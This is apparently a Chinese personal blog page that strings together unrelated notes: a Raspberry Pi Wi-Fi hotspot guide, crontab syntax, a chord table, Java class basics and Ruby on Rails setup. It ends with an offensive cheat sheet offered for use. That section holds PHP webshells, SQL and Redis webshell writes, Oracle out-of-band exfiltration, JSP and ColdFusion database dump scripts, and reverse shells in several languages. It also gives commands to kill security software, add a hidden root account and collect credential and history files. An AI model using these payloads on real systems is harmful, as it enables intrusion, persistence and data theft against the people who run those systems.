最近手上多了一个树莓派2代,于是折腾就这么开始了。
因为总是得要个显示屏或者路由器或者插根网线才能玩,有点麻烦,所以有了此文。

设备清单:

树莓派2代
EDUP EP-N8508GS无线网卡(USB)
普通网线一根

最终实现的效果是树莓派的有线网卡用来作为wan口,无线网卡建立热点
笔记本可以通过连接wifi连接上树莓派进行操作

下面说说过程:
首先我参考了
http://elinux.org/RPI-Wireless-Hotspot
这篇文章中的方法,但是并没有成功。后来看到文章的末尾才知道,是驱动对不上号,文章末尾明确标明默认的hostapd程序不支持rtl8188系列网卡,而我的usb网卡就是rtl8188cus系列。
所以在开始之前,建议先用lsusb命令看一下网卡的型号再考虑进行下一步。

如果你的网卡不是rtl8188系列那你可以参考上面文章中的方法来配置,如果是那么可以参考我的方法。

根据那篇文章最后给出的连接,找到了这个驱动:

https://github.com/lostincynicism/hostapd-rtl8188

然而当编译好驱动重新运行之后仍然是不行,还是不支持。

最后还是参考了这篇文章:

http://wangye.org/blog/archives/845/?_t_t_t=0.7382462719884554

原因可能就是因为我这个系列网卡比较特殊。但是最后在这个文章中发现了编译好的第三方驱动,虽然有点不满意,但还是凑合着用了。
http://www.daveconroy.com/turn-your-raspberry-pi-into-a-wifi-hotspot-with-edimax-nano-usb-ew-7811un-rtl8188cus-chipset/
具体步骤:
先切换为root用户,可以省去很多不必要的麻烦。
所以以下操作都是以root用户:
1.安装hostapd和udhcpd服务并且更换hostapd程序

1
2
3
4
5
6
7
8
apt-get install udhcpd hostapd
wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip
unzip hostapd.zip
mv /usr/sbin/hostapd /usr/sbin/hostapd.bak
mv hostapd /usr/sbin/hostapd.edimax
ln -sf /usr/sbin/hostapd.edimax /usr/sbin/hostapd
chown root.root /usr/sbin/hostapd
chmod 755 /usr/sbin/hostapd

2.编辑/etc/udhcpd.conf文件,配置dhcp服务:
确保文件当中有下列内容

1
2
3
4
5
6
7
8
start 192.168.1.2
end 192.168.1.254
interface wlan0
remaining yes
opt dns 223.5.5.5 223.6.6.6
opt subnet 255.255.255.0
opt router 192.168.1.1
opt lease 864000 #

相信一般都能看懂,其中的interface需要根据情况来写。

3.编辑/etc/default/udhcpd 文件,将下面这行注释掉。

1
DHCPD_ENABLED="no"

4.将无线网卡wlan0的ip设为192.168.1.1

1
ifconfig wlan0 192.168.42.1

5.修改/etc/network/interfaces文件,添加下面的内容

1
2
3
iface wlan0 inet static
address 192.168.1.1
netmask 255.255.255.0

并且将下面这两条注释掉

1
2
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet manual

6.接着就正式开始配置无线相关的选项了,编辑/etc/hostapd/hostapd.conf,如果没有这个文件就自行创建它。

1
2
3
4
5
6
7
8
9
10
11
12
13
interface=wlan0
driver=rtl871xdrv
ssid=无线名称
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=无线密码
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

7.在/etc/default/hostapd文件中指定hostapd服务的配置文件,内容如下

1
DAEMON_CONF="/etc/hostapd/hostapd.conf"

8.更改系统的转发规则和iptables规则,依次运行下列命令:

1
2
3
4
5
6
7
8
9
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables-save > /etc/iptables.nat
service hostapd start
service udhcpd start
update-rc.d hostapd enable
update-rc.d udhcpd enable

9.最后一点点收尾工作:
编辑/etc/network/interfaces文件,在末尾加上着一条:

1
up iptables-restore < /etc/iptables.nat

以及/etc/sysctl.conf文件,确保下面的选项存在

1
net.ipv4.ip_forward=1

到此为止就全部完成了,用手机,电脑等无线设备都可以连接上树莓派了。
为后续的折腾打下基础。

折腾的整个过程还挺复杂的,需要修改多处文件,而且每一处修改都会微妙的影响到最后路由器的运行,小小的改变都有可能造成瘫痪或者影响性能。由此可见,想DIY一款高性能的个性无线路由器还是很有挑战性的。

1
2
3
4
5
6
7
8
crontab file [-u user]-用指定的文件替代目前的 crontab
crontab-[-u user]-用标准输入替代目前的 crontab
crontab-1[user]-列出用户目前的 crontab
crontab-e[user]-编辑用户目前的 crontab
crontab-d[user]-删除用户目前的 crontab
crontab-c dir- 指定 crontab 的目录
$crontab -l 列出用户目前的 crontab
crontab 文件的基本格式 :
1
2
3
4
5
6
7
8
9
10
*    *     *     *     *     command
分 时 日 月 周 命令


第 1 列表示分钟 1~59 每分钟用*或者 */1 表示
第 2 列表示小时 1~23(0 表示 0 点)
第 3 列表示日期 1~31
第 4 列表示月份 1~12
第 5 列标识号星期 0~6(0 表示星期天)
第 6 列要运行的命令

一些范例:

1
30 21 * * * /usr/local/etc/rc.d/lighttpd restart

上面的例子表示每晚的 21:30 重启 apache。

1
45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart

上面的例子表示每月 1、10、22 日的 4 : 45 重启 apache。

1
10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart

上面的例子表示每周六、周日的 1 : 10 重启 apache。

1
0,30 18-23 * * * /usr/local/etc/rc.d/lighttpd restart

上面的例子表示在每天 18 : 00 至 23 : 00 之间每隔 30 分钟重启 apache。

1
0 23 * * 6 /usr/local/etc/rc.d/lighttpd restart

上面的例子表示每星期六的 11 : 00 pm 重启 apache。

1
* */1 * * * /usr/local/etc/rc.d/lighttpd restart

每一小时重启 apache

1
* 23-7/1 * * * /usr/local/etc/rc.d/lighttpd restart

晚上 11 点到早上 7 点之间,每隔一小时重启 apache

1
0 11 4 * mon-wed /usr/local/etc/rc.d/lighttpd restart

每月的 4 号与每周一到周三的 11 点重启 apache

1
0 4 1 jan * /usr/local/etc/rc.d/lighttpd restart

一月一号的 4 点重启 apache

C
C:1 3 5
Cm:1 b3 5
C7:1 3 5 b7
Caug(C+):1 3 #5
Cdim(C°):1 b3 b5 6
C6:1 3 5 6
Cm6:1 b3 5 6
C9:1 2 3 5
Cm9:1 2 b3 5
Cm7:1 b3 5 b7
Cmaj7:1 3 5 7
alt C7(C7-5):1 3 b5 7

C#=Db
C#(Db):#1 4(#3) #5
C#m(Dbm):#1 3 #5
C#7(Db7):#1 4(#3) #5 7
C#aug(C#+)Dbaug(Db+):#1 4(#3) 6
C#dim(C#°)Dbdim(Db°):#1 3 5 b7
C#6(Db6):#1 4(#3) #5 #6
C#m6(Dbm6):#1 3 #5 #6
C#9(Db9):#1 #2 4(#3) #5
C#m9(Dbm9):#1 #2 3 #5
C#m7(Dbm7):#1 3 #5 7
C#maj7(Dbmaj7):#1 4 #5 1(g).
altC#m7(C#m7-5)altDbm7(Dbm7-5):#1 4 5

D
D:2 #4 6
Dm:2 4 6
D7:2 #4 6 1(g)
Daug(D+):2 #4 #6
Ddim(D°):2 4 b6 7
D6:2 #4 6 7
Dm6:2 4 6 7
D9:2 3 #4 6
Dm9:2 3 4 6
Dm7:2 4 6 1(g)
Dmaj7:2 #4 6 #1(g)
alt D7(D7-5):2 #4 b6 1(g)

Eb=D#
Eb(D#):b3 5 b7
Ebm(D#m):b3 b5 b7
Eb7(D#7):b3 5 b7 b2(g)
Ebaug(Eb+)D#aug(D#+):b3 5 7
Ebdim(Eb°)D#dim(D#°):b3 b5 6 b7
Eb6(D#6):b3 5 b7 1(g)
Ebm6(D#):b3 b5 b7 1(g)
Eb9(D#6):b3 4 5 b7
Ebm9(D#m9):b3 4 b5 b7
Ebm7(D#m7):b3 b5 b7 b2(g)
alt Eb7(Eb7-5)altD#7(D#7-5):b3 5 6 b2(g)

E
E:3 #5 7
Em:3 5 7
E7:3 #5 7 2(g)
Eaug(E+):3 #5 1(g)
Edim(E°):3 5 b7 #1(g)
E6:3 #5 7 #1(g)
Em6:3 5 7 #1(g)
E9:3 #4 #5 7
Em9:3 #4 5 7
Em7:3 5 7 2(g)
Emaj7:3 #5 7 #2(g)
altE7(E7-5):3 #5 b7 2(g)

F
F:4 6 1(g)
Fm:4 b6 1(g)
F7:4 6 1(g) b3(g)
Faug(F+):4 6 #1(g)
Fdim(F°):4 b6 7 2(g)
F6:4 6 1(g) 2(g)
Fm6:4 b6 1(g) 2(g)
F9:4 5 6 1(g)
Fm9:4 5 b6 1(g)
Fm7:4 b6 1(g) b3(g)
Fmaj7:4 6 1(g) 3(g)
altF7(F7-5)altGb7(Gb7-5):4 6 b1(g)(7) b3(g)

G
G:5 7 2(g)
Gm:5 b7 2(g)
G7:5 7 2(g) 4(g)
Gaug(G+):5 7 #2(g)
Gdim(G°):5 b7 b2 3
G6:5 7 2(g) 3(g)
Gm6:5 b7 2(g) 3(g)
G9:5 6 7 2(g)
Gm9:5 6 b7 2(g)
Gm7:5 b7 2(g) 4(g)
Gmaj7:5 7 2 #4
altG7(G7-5):5 7 b2(g) 4(g)

Ab=G#
Ab(G#):b6 1(g) b3(g)
Ab7(G#7):b6 1(g) b3(g) b5(g)
Abaug(Ab+)G#aug(G#+):b6 1(g) 3(g)
Abdim(Ab°)G#dim(G#°):b6 7 2(g) 4(g)
Abm7G#m7:b6 b1(g) b3(g) b5(g)
Abmaj7G#maj7:b6 1(g) b3(g) 5(g)
altAb7(Ab7-5) altG#7(G#7-5):b6 1(g) 2(g) b6(g)

A
A:6 #1(g) 3(g)
Am:5 1(g) 3(g)
A7:5 #1(g) 3(g) 5(g)
Aaug(A+):5 #1(g) 4
Adim(A°):6 1(g) b3(g) b5(g)
A6:5 #1(g) 3(g) #4(g)
Am6:5 1(g) 3(g) #4(g)
A9:6 7 #1(g) 3(g)
Am9:6 7 1(g) 3(g)
Am7:6 1(g) 3(g) 5(g)
Amaj7:5 #1(g) 3(g) #5(g)
altA7(A7-5):5 #1(g) b3(g) 5(g)

Bb=A#
Bb(A#):b7(d) 2 4
Bbm(A#m):b7(d) b2 4
Bb7(A#7):b7(d) 2 4 b6
Bbaug(Bb+)A#aug(A#+):b7(d) 2 #4
Bbdim(Bb°)A#dim(A#°):b7(d) b2 3 5
Bb6(A#6):b7(d) 2 4 5
Bbm6(A#m6):b7(d) b2 4 5
Bb9(A#9):b7(d) 1 2 4
Bbm9(A#m9):b7(d) 1 b2 4
Bbm7(A#m7):b7(d) b2 4 b6
Bbmaj7A#maj7:b7(d) 2 4 6
altBb7(Bb7-5)altA#7(A#7-5):b7(d) 2 3 b6

B
B:7(d) #2 #4
Bm:7(d) 2 #4
B7:7(d) #2 #4 6
Baug(B+):7(d) #2 5
Bdim(B°):7(d) 2 4 b6
B6:7(d) #2 #4 #5
Bm6:7(d) 2 #4 #5
B9:7(d) #1 #2 #4
Bm9:7(d) #1 2 #4
Bm7:7(d) 2 #4 6
Bmaj7:7(d) #2 #4 #6
altB7(B7-5):7(d) #2 4 b6

定义类
定义类的过程就是定义类的属性的过程;
类的属性就是累的静态属性的简称,指类内包含的各项数据。

类的服务被称为成员函数或方法。

继承extends
通过定义继承方法,子类可以获得父类的所有属性和方法

接口implements
说明当前类中实现了哪个接口定义的功能和方法
是Java语言中实现多重继承的一种机制

类的修饰符分为:
访问控制符
抽象类说明符
最终说明符

类的属性:
描述了类内部的信息,又称为类的静态属性
类属性为简单变量

【修饰符】 变量类型 变量名【=变量初值】
【修饰符】 类名 对象名 【=new 类名(实际参数列表)】

若使用另一个类的对象作为当前类所定义的类的属性,
要保证该对象所在的类在当前类中是可已被当前类所引用的

类属性的修饰符包括:
访问控制符
静态修饰符static
最终修饰符final
易失修饰符volatile
过渡丢师傅transient

类的方法(成员函数)
用来规定类属性上的操作
实现类内部功能的机制
也是类与外界交互的窗口

声明方法的语法:
【修饰符】返回值类型 方法名(参数列表)
Trows 例外名1,例外名2,…
{
方法体:
局部变量声明;
语句序列;
}

方法的修饰符包括:
访问控制符
静态修饰符static
抽象修饰符abstract
最终修饰符final
同步修饰符synchronous
本地修饰符native

类的构造函数

特殊之处:
构造函数的方法名与类名相同
构造函数没有返回类型
构造函数的主要作用是完成对类对象的初始化工作

在创建一个类的新对象的同时,系统会自动调用该类的构造函数为新对象初始化

Java在声明类是,可以不定义构造函数,系统会自动为该类生成一个默认的构造函数
此时这个构造函数的名字与类名相同,没有任何形式参数,也不完成任何操作

类的访问控制符只有一个public
属性和方法的访问控制符有:
public

private
protected
private protected

对于同一个包中的类可以不需任何说明,方便的互相访问和引用

在不同包中的类,只有他们都声明为public时,然后再在程序头部声明import后才可以被访问和引用相应的类。

publici修饰的类的属性称为公共属性
如果公共属性属于一个公共类,则可以被所有的其他类使用

public修饰符会造成安全性和数据封装性下降,应尽量减少public属性的使用

缺省访问控制符规定该类只能被同一个包中的类访问和引用,而不可以被其他包中的类引用,这种特性称为包访问性。

类内的属性和方法如果没有访问控制符来限定,也说明他们具有包访问性,可以被同一个包中的其他类所访问和调用

用private修饰的属性或方法只能被该类自身所访问和修改,而不能被任何其他类,包括该类的子类来获取和引用。
procted修饰的属性可以被该类自身和包中的类访问
public可以被任意访问

静态属性
被static修饰的属性称为静态属性
静态属性是一个公共的存储单元
任何一个类的对象访问它时取到的都是相同的值
任何一个类的对象去修改它时,都是在对同一个内存单元做操作。

static修饰符修饰的属性是属于类的公共属性
static修饰符修饰的方法是属于整个类的方法
不用static修饰符修饰的方法是属于某个具体对象或实例的方法

声明一个方法的static至少有三重含义
调用这个方法时,应该使用类名做前缀,而不是某一个具体的对象名
非static的方法是属于某个对象的方法,在这个对象创建时对象的方法在内存中拥有自己的专用代码段
而static的方法是属于整个类的
它在内存中的代码段将随着类的定义而分配和装载,不被任何一个对象专有
static方法只能处理static类型的数据

静态初始化器
石油关键字static引导的一对大括号括起的语句组

静态初始化器与构造函数的区别:
构造函数是对每个新创建的对象初始化,而静态初始化器是对每个类进行初始化
构造函数是在用new运算符产生新对象时由系统自动执行,而静态初始化器则是在它所属的类加载入内存时由系统调用运行的
不同于构造函数,静态初始化器不是方法,没有方法名,返回值和参数列表

抽象类
当一个类被生命为abstract时,这个类被称为抽象类
所谓抽象类就是没有具体实例对象的类
抽象类是它所有子类的公共属性的集合
使用抽象类的一大优点就是可以利用这些公共属性来提高开发和维护程序的效率

最终类,最终属性,最终方法,终结器
最终类
如果一个类被final修饰符所修饰和限定,说明这个类不可能拥有子类
最终属性
final就是用来修饰常量的修饰符,一个类的成员变量如果被声明为final,那么它的取值在程序的执行过程中都不会改变,也就是一个常量

用final修饰符说明常量时:
需要说明常量的数据类型
需要同时指出常量的具体取值
因为所有类的对象的常量成员,其数值都固定一致,为了节省空间,常量通常都被声明为static

final修饰符所修饰的类方法,是功能和内部语句都不能被更改的最终方法,即是不能被当前类的子类重载的方法
final方法固定所对应的具体操作,防止子类对父类关键方法的错误的重定义,保证了程序的安全性和正确性

所有已被private修饰符限定为私有的方法,以及所包含在final类中的方法,都被缺省的认为是final的

终结器
终结器是回收对象时执行的方法
protected void finalize(){}
终结器是一个名为finalize的方法,没有产生列表和返回值

volatile修饰符
被volatile修饰的类的属性可能同时被几个线程控制和修改
通常用来修饰受外部输入的属性

建立热点:

1
2
3
4
@echo off
netsh wlan set hostednetwork mode=allow
netsh wlan set hostednetwork ssid=热点名 key=密码
netsh wlan start hostednetwork

关闭热点

1
netsh wlan set hostednetwork mode=disallow

win10上搭建raby on rails环境:
步骤如下

1.安装ruby (我选择的版本是ruby 2.2.3p173)
2.安装rails gem
在这之前建议先把gem的源换成淘宝的源,速度快点。

1
2
3
4
5
6
7
$ gem sources --add https://ruby.taobao.org/ --remove https://rubygems.org/
$ gem sources -l
*** CURRENT SOURCES ***

https://ruby.taobao.org
# 请确保只有 ruby.taobao.org
$ gem install rails

之后:

1
2
gem install rails
gem install bundler

3.安装devkit
下载地址;

http://rubyinstaller.org/downloads

如果是win10,选择DevKit-mingw64-64-4.7.2-20130224-1432-sfx.exe这个版本的。
然后运行,将程序解压到c:\devkit
进入c:\devkit目录

1
ruby dk.rb init

之后修改config.yml
添加下面三行

1
2
3
---
- C:/Ruby22-x64
- C:/Ruby22-x64

注意把路径换成当前ruby的安装路径,-前后各有一个空格不可忽略。
然后:

1
ruby dk.rb install

最后进入需要建立工程的目录,使用如下命令新建rails项目

1
rails new testapp

如果在此过程中报错,则进入testapp中
使用

1
bundler install

来安装所需要的依赖包。
如果还报错,修改testapp目录中的Gemfile
将第一行的sources源内容改为

1
source 'https://ruby.taobao.org/'

然后再执行bundler install命令

Debian中搭建ruby on rails开发环境
假设你已经安装好ruby了
接下来安装rvm

1
$ curl -L https://get.rvm.io | bash -s stable

某些情况下,可能需要编译一下rvm的初始化脚本
我的位置是在/etc/profile.d/rvm.sh,所以运行这一句:

1
$source /etc/profile.d/rvm.sh

接着安装bundler

1
gem install bundler

然后安装rails

1
gem install rails

如果这地方出现错误,尝试使用rvm切换ruby的版本:

1
2
rvm install 2.0.0
rvm 2.0.0 --default

CentOS中搭建ruby on rails开发环境

1
2
3
4
5
6
$curl -L https://get.rvm.io | bash -s stable
$source /usr/local/rvm/bin/rvm
$rvm install 2.0.0
$rvm 2.0.0 --default
$gem install bundler
$gem install rails

买了个阿里云,却只能装镜像市场里的镜像,很郁闷吧?
我也是。
总觉得多装点工具才好玩。

但是镜像市场里是没有kali的,怎么办呢。
哥教给你一个很骚的办法。
看招:
1.给阿里云装上debian7.5
2.删除原来的源,替换/etc/apt/sources.list里的源为Kali的源
直接把我的贴出来吧。

1
2
3
4
5
deb http://http.kali.org/kali sana main non-free contrib
deb-src http://http.kali.org/kali sana main non-free contrib

deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
deb-src http://security.kali.org/kali-security/ sana/updates main contrib non-free

然后apt-get update && apt-get -y dist-upgrade

在使用OpenShift的服务时安装程序但不知道mysql的主机地址,可以通过
mysql命令行进入mysql数据库的user表中查询对应的数据库地址,具体方法如下

1
2
3
mysql -u username -ppassword
use mysql
select user,host from mysql where user='username';

查找到的主机就是数据库的地址,端口默认是3306

PHP相关

1
2
3
4
5
6
7
8
9
10
11
<?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?>

<?php include "$_GET['_']"; ?>

<?php assert($_POST["1"]);?>

<?php
$url = "http://x.x.x.x/shell.txt";
$contents = file_get_contents($url);
echo $contents;
?>

Mysql数据库
phpmyadmin爆路径

1
http://url/phpMyAdmin/libraries/select_lang.lib.php

SQL语句导出shell:

1
select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php';

Redis数据库
写shell:

1
2
3
4
config set dir D:\www
config set dbfilename shell.php
set webshell "<?php eval($_POST[x]);?>"
save

Oracle数据库
查数据库ip

1
select sys_context('userenv','ip_address') from dual

通过外连回传数据

1
SELECT UTL_HTTP.request('http://target.com/getdata?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1

查询所有表

1
SELECT * FROM ALL_TABLES

查询当前用户表

1
select table_name from user_tables;

查询所有表按大小排序

1
2
SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES   order by  NUM_ROWS  desc
select table_name,NUM_ROWS from user_tables order by NUM_ROWS desc

查询表前十条

1
select  *   from  users  where  rownum < 10

分页查询 2000000 到 4000000

1
SELECT * FROM (SELECT e.*,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000

查询当前编码

1
select userenv('language') from dual;

命令行执行

1
export NLS_LANG="american_america.AL32UTF8"

拖库脚本
JSP1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@172.0.0.1:1521:orabi", "admin", "admin");
File f = new File("/webapps/ROOT/css/t1.txt");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
ResultSet rs=stmt.executeQuery("select * from member where rownum > 2000000");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++){
bw.write(rsmd.getColumnName(i)+",");
}
while (rs.next()){
for(int i=1;i<numberOfColumns+1;i++){
bw.write(rs.getString(i)+",");
}
bw.newLine();
bw.flush();
}
out.print(rs);
%>

JSP2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@127.0.0.1:1521", "admin", "password");
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String html="";
File file = new File("/tmp/data.txt");
BufferedReader br = new BufferedReader(new FileReader(file));
String line;
while ((line = br.readLine()) != null) {
html=html+"<h3>"+line+":</h3><table border=1><tr>";
ResultSet rs=stmt.executeQuery("select * from "+line+" where rownum < 100");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++){
html=html+"<th>"+rsmd.getColumnName(i)+"</th>";
}
html+="</tr>";
while (rs.next()){
html+="<tr>";
for(int i=1;i<numberOfColumns+1;i++){
html=html+"<td>"+rs.getString(i)+"</td>";
}
html+="</tr>";
}
rs.close();
html+="<tr></table>";
}
File f = new File("/tmp/info.css");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
bw.write(html);
bw.close();
br.close();
stmt.close();
conn.close();
%>

ColdFusion

1
2
3
4
5
6
7
8
9
10
11
12
13
<CFSET USERNAME="user">
<CFSET PASSWORD="pass">
<CFSET DATABASE="ya_db">
<CFTRY>
<CFQUERY NAME="DATA" DATASOURCE=#DATABASE# USERNAME=#USERNAME# PASSWORD=#PASSWORD#>
SELECT * FROM MEMBER
</CFQUERY>
<CFCATCH Type="Any"></CFCATCH>
</CFTRY>
<CFSAVECONTENT variable="Dump_DATA">
<CFDUMP var="#DATA#" EXPAND="YES" FORMAT="TEXT">
</CFSAVECONTENT>
<cffile action="write" output="#Dump_DATA#" FILE="C:\\RECYCLER\\#USERNAME#_DATA.txt">

反弹shell
bash

1
bash -i >& /dev/tcp/1.1.1.1/1234 0>&1
1
rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p

ruby

1
ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

perl

1
2
3
4
perl -e 'use Socket;$i="1.1.1.1";
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

1
2
3
4
5
6
7
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("1.1.1.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

php

1
php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Windows取消共享文件夹安全警告

1
2
@echo off
Reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PolicIEs\Associations /v LowRiskFileTypes /t REG_SZ /d .exe;.reg;.msi;.bat;.cmd;.com;.vbs;.hta;.scr;.pif;.js;.lnk; /f

kill安全狗3.x

1
ntsd -c q -pn SafeDogGuardCenter.exe

其他
python Simple HTTP服务:

1
python -m SimpleHTTPServer 

Linux相关技巧
压缩目录

1
2
3
zip  -r  root.zip  /root/*
tar -czvf root.tar.gz /root/
tar -cvf user/tmp/ooouser.tar user/ --exclude=image --exclude= --exclude *.jpg --exclude *.gif --exclude *.zip --exclude *.bmp --exclude *.eps --exclude *.psd

添加用户并设置密码

1
useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

收集所有.sh .pl .py .conf .cnf .ini .*history .pass (/usr/share目录里面的除外) 并打包成zip

1
find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@

array_push 后门

1
array_map("ass\x65rt",(array)$_REQUEST['array']);
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×